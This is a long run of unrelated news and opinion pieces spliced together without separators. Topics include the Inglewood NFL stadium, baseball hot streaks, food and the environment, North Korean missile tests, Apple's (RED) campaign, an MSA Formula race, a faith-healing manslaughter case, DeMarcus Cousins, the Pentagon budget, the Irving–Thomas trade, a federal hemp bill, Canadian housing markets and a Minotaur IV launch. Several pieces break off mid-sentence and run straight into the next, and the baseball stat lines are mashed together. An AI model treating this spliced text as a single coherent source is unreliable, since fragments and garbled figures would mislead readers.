After the NFL’s 21-year absence, why the interest now in Los Angeles? A good part is likely driven by Rams owner Stan Kroenke’s and local leaders’ bold approaches to the new Inglewood stadium. As envisioned, the stadium (with 275 luxury suites, 16,000 “premium” seats, and capacity of about 70,000) will be the centerpiece of a development that includes a performance venue; retail, hotel and office space; residential units, and 25 acres of parks, playgrounds and open space. No wonder the project has been dubbed “NFL Disney World.”
In addition to being a welcome addition to our city’s professional sports assets and an architectural wonder, the new stadium could mean a billion dollars a year for the economy, plus 40,000 new jobs, according to estimates. Our civic leaders should be congratulated for their vision and taxpayer-friendly boundaries.
But business vision and good intentions don’t always translate to an effect on stakeholders. In order to achieve not only a touchdown but also the extra point with this project, our local leaders should carefully consider some additional factors:
The value and sustainability of new and existing small businesses must be equally weighted against the lure of larger chain businesses. A good chunk of the 40,000 new jobs will likely come from large chains: well-known, branded restaurants, retail businesses and other industries that will anchor the new complex.
But small businesses are the lifeblood of local communities. Research shows local businesses have a “multiplier effect” — the idea that every dollar spent at a local, independently owned business stays in the community and generates greater value in terms of jobs, incomes, taxes and other factors.
As impactful as the new stadium will be, it won’t host events every day. It’s critical that decision-makers not fall into the trap of valuing “game day economics” over “everyday economics.”
Long-time local residents must not be “developed out” of their neighborhoods. Home prices in Inglewood are about 8. |
very best players in baseball this season. Looking at the top ten in WAR on the season, we have four players from the American League, five players from the National League, and Cespedes, who has split time with both. First, Cespedes’ line, mentioned above.
Yoenis Cespedes and His Incredible Run Dates PA HR BA OBP SLG wRC+ Team W-L Yoenis Cespedes 8/12-9/14 145 17.323.379.805 220 22-9
Here are the best streaks each player from the AL has had that lasted at least one month, sorted by weighted batting.
Other Cespedes-Like Runs: Top AL Players Dates PA HR BA OBP SLG wRC+ Team W-L Mike Trout 6/11-7/31 172 16.366.459.779 240 26-17 Josh Donaldson 7/30-9/11 174 14.363.434.767 219 29-9 Manny Machado 6/6-7/24 182 13.357.442.662 202 17-10 Lorenzo Cain 6/27-8/13 204 8.362.417.649 191 26-18
Josh Donaldson has been on an impressive run simultaneous to Cespedes, his team’s record is just as impressive, and he likely passed Mike Trout for AL MVP during that time. Mike Trout has struggled a bit of late, but over a nearly two-month period before the All-Star break, he had a run of play that actually exceeded Cespedes’ statistically. Lorenzo Cain actually had a shorter streak than the one represented above during which his wRC+ exceeded 200, but I made the judgment call of putting the longer run with more plate appearances as I deemed it more impressive. Manny Machado had a great streak of his own as the Orioles fought their way back into the playoff race before the trade deadline.
Below are the National League counterparts:Chew On This For Earth Day: How Our Diets Impact The Planet
Enlarge this image MHJ/Getty Images MHJ/Getty Images
The foods we choose to put on our plates — or toss away – could have more of an ecological impact than many of us realize.
On Earth Day, here are some ways to consider how our diet impacts the planet.
Waste not, want not
You've heard the numbers on food waste. More than 30 percent of available food is tossed each year in America. It's enough to fill Chicago's 1,450-foot-tall Willis Tower (formerly known as the Sears Tower) 44 times over.
The U.S. has set an official goal to reduce food waste by 50 percent by the year 2030. Universities have begun to chip away at the food waste issue by promoting ugly fruit and vegetables and shifting away from pre-cooked, buffet style food, instead serving more cook-to-order options that can cut down on waste. Food service companies are working with farmers and chefs to get more blemished but edible produce into cafeterias across the country. Even religious groups are getting into the act, raising attention to the problem of food waste among the faithful and connecting with restaurants, retailers and food banks to help redirect food to hungry mouths that might otherwise end up in landfills.
And there are a host of proposed solutions. Check out this report that highlights which solutions are likely to provide most bang for the buck. Among the most cost-effective strategies: educating consumers on food waste – including changes you can make in your own kitchen. (Here are some tips to get you started – like how to tell if eggs are still good past their expiration date.)
Rethink your beef and lamb habit
Everything we eat has an environmental footprint – it takes land, water and energy to grow crops and raise livestock. The folks at the World Resources Institute have calculated the greenhouse gas emissions associated with producing a gram of edible protein of various foods.
Not surprisingly, they found that foods such as beans, fish, nuts and egg have the lowest impact. Poultry, pork, milk and cheese have medium-sized impacts. By far, the biggest impacts, in terms of greenhouse gas emissions, were linked to beef, lamb and goat. (As we've reported, that's partly because the need for pastureland drives deforestation in places like the Brazilian Amazon.)
Why? According to WRI, beef uses 28 times more land per calorie consumed — and two to four times more freshwater — than the average of other livestock categories. What's more, cows are less efficient than other animals, like pigs and poultry, at converting feed into food.
Still, telling people to go cold turkey with their red meat isn't likely to inspire real change. But this message might resonate: Even if you don't give up on red meat consumption entirely, just cutting back can significantly impact your diet's carbon footprint.
And these days, there are lots of vegan substitutes – like plant burgers that sizzle, smell and even bleed like the real thing — that can deliver the meaty taste you crave as you try to scale back.
Keep an eye out for more 'plant-based' dishes on restaurant menus
As interest in plant-centric diets booms, new food businesses have taken root – from the veggie-centric fast-casual chains Beefsteak (from celebrity chef Jose Andres) and Chloe (an all-vegan restaurant) to the vegan meal-kit company Purple Carrot.
Now, a new initiative from the World Resources Institute called the Better Buying Lab is bringing together big companies (including Panera Bread, Sodexo, Google, Unilever and Hilton) to develop and test strategies to nudge consumers towards choosing more sustainable foods. One initiative is to get more plant-based dishes onto menus.
"If you look at menus across the U.S., there tends to be [the same] 25 dishes that are on the majority of menus," says Daniel Vennard, director of the Better Buying Lab at WRI. Think burgers, chicken dishes, etc. "Not many [plant-based] dishes have scaled to become national favorites," Vennard says.
His group is working to change that. It's teaming up with chefs from its member companies to create new recipes likely to have broad appeal. Promising ideas include the concept of "superfood salads" — containing combinations of nuts, seeds, greens, veggies and avocado.
He points to ideas already out there as well, such as burgers that blend meat and mushrooms. As we reported several years ago, some taste-testing has found that diners warmed up to the idea of blended burgers, and in fact many tasters preferred them to all-beef patties. And an ongoing competition from the James Beard Foundation has encouraged chefs around the country to give blended burgers a try on their menus. (Not everyone is a fan, though.)
"What we're trying to do is shift consumers towards eating more sustainable food, but we're not advocating for a no-meat diet," explains Vennard. "We're saying, 'Let's moderate.' "North Korea may conduct another nuclear or missile test as the secretive state looks to forward its nuclear capabilities and weapons program, South Korea warned Monday.
The South Korean defence ministry warned parliament that the North’s nuclear test site remained “ready” for a new test, Yonhap News Agency reported.
“(The North) will continue such provocations as additional nuclear tests and missile launches to secure its nuclear capabilities … The Punggye-ri nuclear test site remains ready for a (new) test,” the ministry said.
READ MORE: North Korea resumes activity at nuclear test site, watchdog says
The defence ministry was addressing its assessment of North Korea’s test of an intermediate-range missile that was launched over Japan on Friday. The defence ministry also clarified its assessment that said the North was “near the final phase” of its intercontinental ballistic missile (ICBM) development, and “will continue provocations including additional nuclear tests and missile launches in order to secure nuclear capabilities,” Yonhap News Agency reported.
WATCH: U.S., South Korea agree more sanctions on North Korea needed
“We have made no such assessment, but it’s our interpretation of what the North has tried to assert by making such a claim,” the ministry told lawmakers.
North Korea sent an intermediate-range missile over the northern part of Japan and into the Pacific Ocean, completing the country’s longest test flight of a ballistic missile. The test came in the wake of tougher sanctions imposed by the United Nations following the country’s sixth nuclear test early this month.
READ MORE: UN out of options on North Korea: Nikki Haley
North Korea also warned Monday that the more sanctions imposed on Pyongyang, the faster it will move to complete its weapons program.
WATCH: U.S. not ruling out military option against North Korea
“The increased moves of the U.S. and its vassal forces to impose sanctions and pressure … will only increase our pace towards the ultimate completion of the state nuclear force,” the North’s foreign ministry spokesman said in a statement carried by its official KCNA news agency.
READ MORE: Donald Trump set to make UN debut as North Korea threat looms
The United States and South Korea conducted bombing exercises on the Korean peninsula as world leaders were set to gather in New York at the United Nations General Assembly where North Korea’s nuclear capability will loom heavily over U.S. President Donald Trump and other leaders.
WATCH: North Korea says more sanctions will speed up nuclear plans
Ahead of the gathering of world leaders, U.S. Ambassador to the United Nations Nikki Haley said Washington has “pretty much exhausted all the things that we can do at the Security Council at this point” and warned of possible military action.
“If North Korea keeps on with this reckless behaviour, if the United States has to defend itself or defend its allies in any way, North Korea will be destroyed. And we all know that. And none of us want that. None of us want war,” she said on CNN.
–with files from the Associated Press.Apple has joined the ranks of businesses around the world honoring World AIDS Day. Held since 1988, the global community holds this day as a time when everyone can unite in their “fight against HIV, show their support for people living with HIV, and to commemorate people who have died.” For Apple, one of the steps its taking to promote awareness is by having all its retail store logos changed to red.
If you go to any Apple retail store, the most prominent sign of Apple’s support for the event is its iconic logo. For a brand so well-known, any change in its identity, even something like the color, can instantly draw attention. This is not the first time the company has supported the fight against AIDS like this — it did the same thing last year.
The company will also be promoting the (RED) campaign again this year. Started in 2006 by U2 frontman and humanitarian activist Bono, along with ONE/DATA’s Bobby Shriver, the idea is that the (RED) brand would be licensed to companies who would pay a part of the proceeds back to the organization and that would go towards fighting AIDS.
Apple is one of the companies who have licensed (RED) and have a host of products available for purchase that send some proceeds to help end HIV/AIDS once and for all. Today, consumers can go to either the Apple retail store or Apple.com to purchase any of the available (RED)-branded products: iPod touches, iPod shuffles, Nanos, iPhone 4 bumper cases, iPad Smart Cases, iPad Smart Covers, Mophie Juice Packs, and more.
The company is now promoting World AIDS Day on its website. When the banner is clicked, you’ll be directed to help save lives by purchasing a compilation album off of iTunes. Its desire is to help deliver an AIDS free generation by 2015.
Photo credit: Apple store red logo via Felix Fei
Main header image: Sean Gallup/Getty Images
Read next: Did smartphones kill the trivia star? Maybe, but Google-proof quizzes could help beat the cheatsAfter falling down to ninth on the opening lap, poleman Lando Norris fought back through to win the first MSA Formula race at Knockhill.
Norris finished second on the road to teammate Colton Herta after passing Enaam Ahmed on the final lap and inherited the win when Herta received a five-second penalty for track limits.
The Briton originally led off the line, but went off at Clark, giving up first place to Dan Ticktum.
But Ticktum and another championship contender Ricky Collard would come together a few laps later, both ruled well out of victory contention and handing the lead to Ahmed.
Ahmed, however, was under pressure from Herta as the two were reeled in by Norris.
On the final lap, both Carlin drivers worked their way past Ahmed, denying him a maiden win.
Herta took the chequered flag but was immediately handed an additional five seconds and relegated to fifth, the win going to his teammate Norris.
Ahmed had to do with his maiden podium in second, while Sennan Fielding completed the top three.
Arden’s Sandy Mitchell took fourth, with James Pull and Josh Smith in sixth and seventh for Fortec. Their teammate Ticktum recovered to eighth, while Double R pairing Matheus Leist and Tarun Reddy completed the top ten.Home Daily News On probation for manslaughter in child's…
Criminal Justice
On probation for manslaughter in child's death, couple again relies on prayer and sees a baby die
Sentenced to 10 years of probation in 2011 after their toddler died of bacterial pneumonia, Herbert and Catherine Schaible were back in court again on Monday, following the death last week of an eight-month-old baby.
By again relying on prayer instead of seeking medical treatment for their son, Brandon, the couple violated the most important condition of their probation in the earlier manslaughter case, a Philadelphia judge told them. However, Common Pleas Court Judge Benjamin Lerner declined to jail the two while he makes a final decision in their probation violation case because he sees them as a danger to their other children—who are now in foster care—rather than the general public, according to the Associated Press and the Philadelphia Inquirer.
“It could not be clearer from your statements that you knew he was sick several days before he died,” Lerner said of Brandon, “that he was getting worse and having problems with his breathing.”
Prosecutors are awaiting autopsy results before deciding whether to bring new criminal charges.
The Schaibles are members of a fundamentalist church that views medical care as a sin demonstrative of a lack of faith in God, the AP reports.
Attorney Mythri Jayaraman, who represents Catherine Schaible, described the couple as good parents and urged against a rush to judgment.
“There are way more questions than answers at this point. We haven’t seen the autopsy report. We don’t know the cause of death of this child,” Jayaraman said in an Associated Press interview. “What we do know is Mr. and Mrs. Schaible are distraught, they are grieving, they are tremendously sad about the loss of their most recent baby.”DeMarcus Cousins attracts drama to him and unless you have been under a rock for the past seven seasons you know not much has changed since the gifted big man has been in the NBA. Professionalism has always been a struggle. The reasons are both complex and simplistic. Poor impulse control and little anger management, emotional outbursts for miniscule offenses, pouting inappropriately and rages- they have never left the fallow ground of his early adulthood and so it is his great hyperbole. On the one hand DeMarcus Cousins has no NBA peer. And on the other hand he can’t get out of his own way. He is the face of the Kings franchise and has never been to the playoffs which is more a testimony to the Kings as a poorly run group than it is to Cousins but he is partly responsible for the Kings mediocrity which is a polite way to put it. But you can count on Cousins taking the nuclear option at some point in the season and this time new coach Dave Joerger has Cousins back.
What happened this time? Cousins was egregiously hostile in an exchange with Sacramento Bee writer Andy Furillo which the Executive Editor and Senior Vice President of the Sacramento Bee, Joyce Terhaar, classified as Cousins trying to intimidate the media. What set Cousins off was a column Furillo had written about a situation DeMarcus got himself into in May at a club in Tampa. Cousins was ushered out but his brother was arrested. Furrillo mentioned Cousins’ brother by name in his column and Cousins went full 24-7 lost his mind crazy.
“Don’t ever mention my brother again; you don’t know my fu**ing brother. Say whatever you want about me but don’t mention my motherfu**ing family.”
Terhaar’s interpretation was that Cousins was trying to control what was written about him; good luck with that. The sure way to make a writer skew negative towards you is to punk him in the locker room with f-bombs. Um…the pen being mightier than the sword and all that.
Dave Joerger, Cousins coach, defended the mercurial star without being asked to. He put his own two cents in and on the one hand it makes all the sense in the world. Cousins has more job security than whatever coach is charged with trying to get him to play playoff level basketball. Might as well get on his good side. Stars run the league. Only Gregg Popovich and Rick Carlisle are immune to the star industrial complex the NBA has been married to the past thirty years.
Joerger made it clear whose side he was on.
“This guy is the face of our franchise. He’s done and said some things that he wishes he could do over. He’s improved. He’s gotten better. But to go and use other reporters, third person, oh he bullies his coaches or he bullies, that is trash. And to put it out here like that, that is ridiculous.”
Ridiculous? Not really. Not in a social media age. This is how the world works now. Throw out shade. See if it sticks. It is open to interpretation how you feel about Cousins. He is either misunderstood. Or he cannot reign in his emotions in moments of high stress. The problem is professional basketball is performance under high stress. Something has to give.
Joerger is between a rock and a hard place here. He needs Cousins to perform at a high level and even then the Kings probably won’t make the playoffs. Too many roster holes. But if he is critical of Cousins he is on his way out like the five coaches before him. Paul Westphal. Keith Smart. Mike Malone. Ty Corbin. George Karl.
“I’m not justifying anything he’s done. What he did is excessive. We’ve talked about it.” (Dave Joerger)
The problem with Cousins is one of accountability. Rarely does he take ownershp for his walk down Crazy Street. It gets talked about, is social media gossip, entertains the Cousin haters, makes the Cousin apologists see red and inevitably link a racial bias, and then in a week when he goes 30 and 15 it is over. But these things do add up, whether they are forgotten or not. They are the building blocks for the Cousins reputation where there is no do-over and little understanding, empathy or forgiveness.
The league may fine or even suspend Cousins for his unprofessional behavior because as the Sacramento Bee pointed he has had a string of anti-media hostility exchanges over his career with the team. One Sacramento columnist, Ailene Voisin, called him a bully.
This incident will die down but it brings up a bigger problem for the Kings infrastructure.
Can the Kings ever trade Cousins?
If they do will they get shortchanged because Cousin’s behavior makes it difficult to get equal value. He can be a headache. Teams know that. They will use Cousins behavior as a negotiating tool to give them leverage. Cousins, as we are all fully aware, can be a great player. But greatness is a combination of physical and mental talents. Do you have the ability to sacrifice and that means emotional sacrifice too. He is 26 so he should be beyond this. Who cares what a reporter says about him and his brother. Hasn’t he ever heard what you think about me is none of my business.
There is nothing easy about this Kings season that started with Rudy Gay saying he was opting out at the end of the year and Darren Collison pleading guilty to misdemeanor domestic violence and Matt Barnes and DeMarcus Cousins being sued by alleged victims of an assault and the Kings having improved on defense but terrible on offense and DeMarcus Cousins being the oxygen in the room. George Karl has his memoir coming out in January and you can expect more DeMarcus and Kings shade.
The Sacramento Bee, in an attempt to finally even the score, made their case for Cousins as a horrible human being and the Kings as enablers.
Joyce Terhaar wrote, “A losing team is one thing. A franchise player who regularly bullies the journalists covering him is another. And management that enables such behavior is not fitting of an operation working to be at the center of entertainment in this city.”
As for basketball, the Kings played the worst team in the Western Conference and looked bored and disinterested as they lost at Dallas. DeMarcus Cousins had 33 points and 6 rebounds. The only other double figure scorer was Ty Lawson who had 10 points. It is the bottom line that has the Kings in no man’s land and treading water. The Kings are exasperated by the impulsive behavior of DeMarcus Cousins. But the Kings desperately need DeMarcus Cousins.
photo via llananbaAir Force Gen. Paul Selva testified on Capitol Hill Tuesday before the Senate Armed Services Committee. (AP Photo/Lauren Victoria Burke, File)
On the presidential campaign trail, the U.S. military is frequently cast as a victim. Gov. Jeb Bush (R.-Fla.) has insisted that “every weapon system has been gutted” by the Obama administration. Donald Trump has said that “our military is a disaster.” And Ben Carson suggested during a debate that the Marines are not ready to deploy.
On Tuesday, Air Force Gen. Paul Selva, the vice chairman of the Joint Chiefs, was asked to comment on political rhetoric along those lines as the Pentagon unveiled its proposed $582.7 billion budget for fiscal 2017.
“I won’t be argumentative, but I will take umbrage with the notion that our military has been gutted,” Selva said. “So I stand here today a person that’s worn this uniform for 35 years. At no time in my career have I been more confident than this instant in saying we have the most powerful military on the face of the planet.”
[In the Pentagon’s new budget, the Air Force won and the Navy lost]
Selva added that the military still has challenges and is facing a global set of threats, including terrorism that “consumes the readiness of our force to do the other tasks that we are given as part of our mission.” But he added that “we are far from gutted,” and said that the Pentagon has “the most flexible and determined Air Force on the planet, the most capable Navy on the planet, and a Marine Corps no one can match.”
Added Selva: “I don’t engage in politics. This is the reality of the men and women that serve in our Army, our Navy, our Air Force and our Marine Corps. They’re the best the world has to offer, and we’re going to keep them that way.”
The budget released by the Pentagon on Tuesday is essentially flat when compared to the current $580.3 billion in spending. But for the second year in a row, it includes significant increases when compared to funding adopted from fiscal 2013 through fiscal 2015, when congressionally mandated budget cuts known as sequestration were adopted to save the federal government money.
On Capitol Hill, Sen. John McCain (R.-Ariz.), chairman of the Senate Armed Services Committee, said in a statement that while Congress will review the Pentagon’s new budget request, “it is already clear that this request is inadequate to address the national security threats we face and the growing demands they impose on our men and women in uniform.”
McCain added that by adhering to the minimum funding allowed by the Bipartisan Budget Act passed late last year, President Obama has left the Defense Department with $17 billion less than what the Pentagon originally planned for in 2017. When considering inflation, the budget is actually smaller than the one Congress approved last year, he said.
“Rather than request an increase in defense spending that reflects what our military really needs, the President’s request attempts to pay for these increased costs by shorting other important defense needs – cutting 15,000 current Army soldiers and 4,000 sailors, reducing major modernization programs, and proposing a pay increase for service members much lower than what is needed to compete with private sector wages,” McCain said.
The Army is in the process of shrinking from 490,000 active-duty soldiers at the height of the Afghanistan war to 450,000 by the end of 2018. The Pentagon announced Tuesday that it will cut about 4,000 sailors along with an entire carrier air wing that was temporarily deactivated in 2013.I would so much rather be leading the sports report with news about the Red Sox today, but I can't because Boston Celtics GM Danny Ainge dropped the equivalent of an atomic bomb on the basketball off-season with the news that he had traded all-star point guard Isaiah Thomas to the Cleveland Cavaliers for their all-star point guard Kyrie Irving.
I could tell you about the stats here, that Irving averaged 25 points per game for the Cavs last year to Thomas' 28 points per game for Boston.
I could mention that the Celtics also sent a very good player in Jae Crowder and a 7-footer in Ante Zizic who's mostly played overseas but could become great in the NBA one day, and a first round draft pick in 2018 to Cleveland for Irving, or I could just get to the point quicker, which is the Ainge just made a monumental terrible, no-good, horrible move with this trade and I cannot imagine what in the world compelled him to do this other than Lebron James somehow learning hypnotism and getting Ainge alone in a room long enough to convince him to take on a player who had wanted out of Cleveland anyway and to send the Celtics' best player and cornerstone of the franchise to play with him in Cleveland.
Look, Irving is a great player. He's been Scottie Pippin to Lebron's Michael Jordan and helped the Cavs win their only NBA championship a couple of years ago. But Thomas was the face and backbone of the Celtics. An extremely popular player who carried the Celtics on his back last year and night after tonight took over games in the fourth quarter. He finished in the top five in MVP voting last year. Yes, his Celtics lost to the Cavaliers in five mostly non-competitive games in the eastern conference finals last year (and by the way, Thomas hurt and didn't play in the last couple of games of that series), but Ainge had traded for some help, getting all-star Gordon Hayward to sign in free agency and he would have taken a lot of the pressure off Thomas to be the big scorer every night, but now we'll never know how that dynamic duo would have clicked.
Irving had demanded a trade from Cleveland, no longer wanting to live in Lebron's shadow and presumably be the superstar himself. Fine. Now, he'll get the chance in Boston. But the cost is far too high and Ainge has now blown up an excellent Celtics squad, trading away other great players including defensive specialist Avery Bradley and a good bench player in Kelly Olynyk in order to get Hayward and there are just four players left on the team from the one that won the eastern conference last year. Oh, and while it's not related to basketball, I'm not real crazy about the fact that Irving literally believes that the earth is flat, and has not been shy about saying so.
Maybe I'm wrong about all this (not the flat earth thing. I'm pretty sure Irving filled in the wrong box on the multiple choice question on that one). Maybe he'll be an improvement over Thomas to the point where, should these two teams meet again in the conference finals Irving will help the Celtics win out where Thomas couldn't. It sure will be interesting when the teams face each other to open the NBA regular season in October. But Ainge seems to have overplayed his hand on this one. I think he just sold the Celtic's soul, and I haven't been this disappointed in Danny Ainge since he refused Bill Walton's invitation to attend a Grateful Dead show even though Larry Bird had agreed to go along.
So, to happier things. The Boston Red Sox got an amazing pitching performance from Doug Fister, who gave up just one hit and threw a complete game in Boston's 9-1 win over the Cleveland Indians last night, so at least there's one thing Boston has over Cleveland this morning. Fister gave up a home run to Francisco Lindor, walked two and hit a batter, but beyond that he looked like a right handed version of Chris Sale, just dominating the Cleveland line-up. The game was still tight at 3-1 Boston until the Red Sox scored three in the seventh and three more in the eighth on a blast by Eduardo Nunez. Jackie Bradley Jr. also went yard in the win.
The Red Sox needed the win to keep their four and a half game lead over the NY Yankees, who pummeled the Tigers in Detroit 13-4 last night. Gary Sanchez homered twice for the Yankees and Masahiro Tanaka got the win.
The NY Mets are now officially playing out the string and it can't be much fun for them. They lost 7-4 to the Arizona Diamondbacks last night with Patrick Corbin going eight innings for the dark horse D-Backs, who padded their lead for the National League wild card to half a game over the Colorado Rockies.
The Toronto Blue Jays can join the Mets in already looking to next year. They fell 6-5 to the Tampa Bay Rays last night with Tampa closer Alex Colome giving up a run in the 9th, the first time he's done that in nine appearances, but still getting the save, his league best 37th.
The Vermont Lake Monsters have been on a great run, but they were slowed down by the Lowell Spinners in a 12-5 loss in Massachusetts last night. James Terrell did have a good night for Vermont, going three for four with a two-run homer in the loss.
Thundershowers cut short a match between Canada's Vasek Pospisil and Tommy Haas in the first round of the Stowe Mountain Lodge Classic yesterday, after Pospisil had taken the first set 6-2. Due to the rain additional matches have been added to today's schedule, so it'll be a five-match day today at Spruce Peak.Image: quinntheislander/Pixabay
Decades before cannabis was made illegal in 1937, hemp was a big cash crop for Kentucky. In 1850, the Bluegrass State produced 40,000 tons of the stuff. During World War II, the government paid citizens to grow the plant. Now it's at the center of a bill that would legalize hemp on a federal level.
As you may know, hemp is a weakly psychoactive strain of Cannabis sativa. But hemp's pitifully low count—an average of less than 1 percent compared to an average 18.7 percent in Colorado's dank bud—in tetrahydrocannabinol (THC), the psychoactive component of cannabis, makes it extremely difficult, if not impossible, to get blazed on hemp. Hemp can't even make you fail a drug test.
Even so, the US has threatened farmers who grow it and often treated it like a dangerous drug: the plant remains forbidden in the eyes of the federal government, which blanket-banned all forms of cannabis under the Controlled Substances Act in 1970. Now, republican Rep. James Comer of Kentucky is sponsoring the Industrial Hemp Farming Act of 2017, with the bipartisan support of 16 congresspeople. Kentucky's two Republican senators—Rand Paul and yes, even Mitch McConnell—are also in support of the bill.
"A lot of the older folks here remember their parents growing it on their farms," Kentucky Rep. Thomas Massie, a co-sponsor of the bill, told me in a phone call. "There's not this opposition from older conservative voters in Kentucky that you might see in states that aren't familiar with hemp."
Hemp is useful for making more than 25,000 products, including textiles, paper, and food. One of its main extracts, cannabidiol (CBD) shows promise for many medical conditions, including epilepsy and post-traumatic stress disorder. This rapidly growing industry was estimated to be worth $688 million in 2016 and more than 30 states have laws allowing for hemp production, despite the federal regulations. Of course, that didn't stop the DEA from conducting raids in some areas, which led to at least one lawsuit.
"A lot of the older folks here remember their parents growing it on their farms"
In 2013, Comer was Kentucky's Commissioner of Agriculture, a position that gave him leverage to insert an industrial hemp amendment in the Agricultural Act of 2014. Under certain conditions, it allowed states to grow hemp if it was for research purposes and attached to a university. In 2015, two bills were introduced to Congress that would have legalized hemp federally. Both bills died in committee.
"Before I was the sponsor of [the hemp bill], Ron Paul was the sponsor, and I've carried the bill for two years and I passed the torch to James Comer," Massie said. "He has modified it some to be more copacetic for [Chairman of the House Judiciary Committee, Bob] Goodlatte and the law enforcement community. I think that's another reason it may get over the finish line—we have another ally in this fight who was just elected to Congress nine months ago."
The hemp bill comes at a critical time for cannabis reform. In July, New Jersey democrat Sen. Cory Booker introduced a bill that would federally legalize marijuana. Just weeks later, the National Conference of State Legislatures called for entirely removing cannabis from the Controlled Substances Act to allow banks to do business with weed-related industries. (Cannabis is currently a Schedule 1 controlled substance, meaning the government considers it to have a high potential for abuse and no medical value.)
Rep. James Comer. Image: Gage Skidmore/Wikimedia Commons
Comer's bill is welcomed by the hemp industry, but not without some concessions. Ananda Hemp, a Kentucky company that was first to be licensed as a hemp producer under the 2014 Farm Bill, has endorsed the bill, but company founder John Ryan told me it isn't entirely perfect.
"There's some language in the bill…that could potentially limit the ability to process CBD," Ryan said in a phone call, adding that CBD is Ananda Hemp's main source of revenue. "There was also some language that alluded to some FDA oversights in regards to the Food, Drug, and Cosmetics Act, but again, we think we could properly lobby, educate, readjust the bill and it'll be something that will be very beneficial for everybody in the industry."
"I believe that these are the guys that can get it done, because they have a proven track record," Ryan added.
Some in Kentucky also see hemp as a solution to the state's ailing tobacco industry—both plants grow well in the area. Ananda Hemp even contracts with an eighth-generation tobacco farmer, who Ryan says is the first in his family who can't make money from this crop.
Read More: Hemp Against Hitler
"The state has been hit really hard by everything that's happened to the tobacco industry, obviously. Demand is down, prices are up, taxes are up, subsidies are completely gone," Ryan explained. "So when the tobacco subsidies ran out, these guys were looking for a new crop they could bring to their state."
This could be gamechanging news from the state that had to burn 100 pounds of hemp because it was too dank.
Get six of our favorite Motherboard stories every day by signing up for our newsletter.Canada's national housing agency is warning of "problematic housing market conditions" in most of the country's major housing markets.
The Canada Mortgage and Housing Corporation said in its Housing Market Assessment report on Thursday that many housing markets are showing troubling signs in four criteria:
Overheated home sales.
Too many homes being built.
Prices increasing too quickly.
High prices.
When all four factors are taken together, the agency singled out four cities for being particularly troubling: Saskatoon, Regina, Winnipeg and Toronto.
"In Toronto, strong evidence of problematic conditions reflects a combination of price acceleration and overvaluation," the CMHC said. "Strong evidence of problematic conditions in Winnipeg, Saskatoon, and Regina reflects detection of overvaluation and overbuilding."
Overvaluation concerns
While those four cities gave the housing agency the most concern overall, overvaluation was called widespread.
It was cited as either a "moderate" or a "strong" problem in 11 of the 15 cities the CMHC includes in its assessment. That's up from the eight markets the federal agency deemed as being overvalued in its last quarterly report in August.
The 11 cities that CMHC considers to have overvaluation problems include:
Vancouver.
Calgary.
Edmonton.
Regina.
Saskatoon.
Winnipeg.
Toronto.
Ottawa.
Montreal.
Quebec.
Halifax.
"The most prevalent issue detected in 11 of the 15 centres covered by the HMA is overvaluation," CMHC's chief economist Bob Dugan said. "The evidence of overvaluation has increased since the previous assessment in Toronto, Vancouver, Montreal, Edmonton and Saskatoon as price levels are not fully supported by economic and demographic factors."
The four cities where the CMHC said overvaluation isn't a problem are Victoria, Hamilton, Moncton and St. John's.
The agency says it is also keeping a close eye on condo developments in Toronto, Montreal and Ottawa. CMHC says there are signs that developers in those markets may be building more units than people are willing to buy
The chart above shows how the CMHC assesses different housing markets in Canada based on four broad metrics. The colours indicate how problematic the state of the housing market is, with green indicating weak evidence of problematic conditions, yellow moderate and red strong. (CMHC)
Earlier this month, the Canadian Real Estate Association reported that the average Canadian home sold in September went for $433,649, a figure that has risen by six per cent in the previous 12 months.
But the realtor group said most of the gains in the national figure are coming from Toronto and Vancouver. Outside of those two cities, house prices have appreciated by less than three per cent in the past year, the association said.
The CMHC's report Thursday suggests the problem may be more widespread than possible local bubbles in those two cities.Asia is heading for a huge jump in asbestos-related diseases in the coming decades, according to numerous scientific studies and two of the world’s most prominent experts on public health and asbestos exposure. Not surprisingly, the consequences are expected to be felt most severely in India and China, two emerging |
families of missile-derived rockets, with the smaller Minotaur I and II based on the Minuteman II missile – while the larger Minotaur IV and V, as well as the unflown Minotaur III and VI designs, are based on the Peacekeeper missile.
As they use former military hardware, Minotaur rockets are only permitted to be used for US Government missions. Since 2014, Orbital ATK has also marketed its commercial ground-launched rocket, which was formerly named Taurus, as the Minotaur-C. It is expected to make its first flight under this guise, which also includes upgraded avionics, in mid-October.
The launch used a modified five-stage version of the Minotaur IV rocket. A standard Minotaur IV consists of the first three stages of a Peacekeeper missile, topped with an Orion-38 solid rocket motor as a fourth stage to insert the rocket’s payload into orbit.
The launch added an extra Orion-38 as a fifth stage, used to change the inclination of the vehicle’s trajectory, allowing it to deploy ORS-5 into an equatorial orbit. In this configuration, Minotaur IV uses only solid propellant.
Despite Cape Canaveral’s long history, no all-solid rocket had ever reached orbit from Florida’s Space Coast, except for the air-launched Pegasus. The only previous orbital launch attempt from the Cape to use a ground-launched rocket with only solid propulsion was made in November 1961.
A Blue Scout II rocket lifted off from Launch Complex 18B in an attempt to place NASA’s Mercury Network Test Vehicle (MNTV), also known as Mercury-Scout, into low Earth orbit. Intended to test NASA’s network of tracking stations and ships ahead of manned Mercury missions, MNTV was lost when the rocket went out of control shortly after launch, and was destroyed by range safety after less than a minute of flight.
The ORS-5 launch marked the first time a Minotaur vehicle has flown from Cape Canaveral, which was selected over Minotaur’s regular East coast launch site – the Mid-Atlantic Regional Spaceport (MARS) on Wallops Island, Virginia – due to the zero-inclination orbit to which the payload needs to be delivered. As Wallops Island is further North than Cape Canaveral, a greater maneuver would be required to reach the desired orbit.
To facilitate the launch, Orbital ATK reactivated the Cape Canaveral Air Force Station’s long-dormant Space Launch Complex 46 (SLC-46). Located at the Cape’s most easterly point, SLC-46 is one of Cape Canaveral’s youngest launch complexes, but has not supported a launch for over eighteen years.
The facility was built at Launch Complex 46 (LC-46) in the 1980s to support testing of the US Navy’s Trident II submarine-launched ballistic missile (SLBM). Trident II was the last missile to be tested at Cape Canaveral, making nineteen development launches from LC-46 between January 1987 and January 1989. Subsequent Trident launches were made from submarines.
In the 1990s, SLC-46 became the focus of Florida’s effort to establish a commercial spaceport. Under the Spaceport Florida initiative, a new launch pedestal and tower were constructed at the pad to support small rockets using mostly solid propulsion.
Lockheed Martin used the launch complex for two flights of its Athena rocket, the first in January 1998 with NASA’s Lunar Prospector spacecraft aboard an Athena II. The second orbital launch from the complex occurred a year later, with an Athena I delivering ROCSAT-1 – later named Formosat-1 – to orbit for the Republic of China’s National Space Programme Office (NSPO).
Complex 46 is still managed by Space Florida, the successor to the Spaceport Florida Authority, as part of a commercial Cape Canaveral Spaceport.
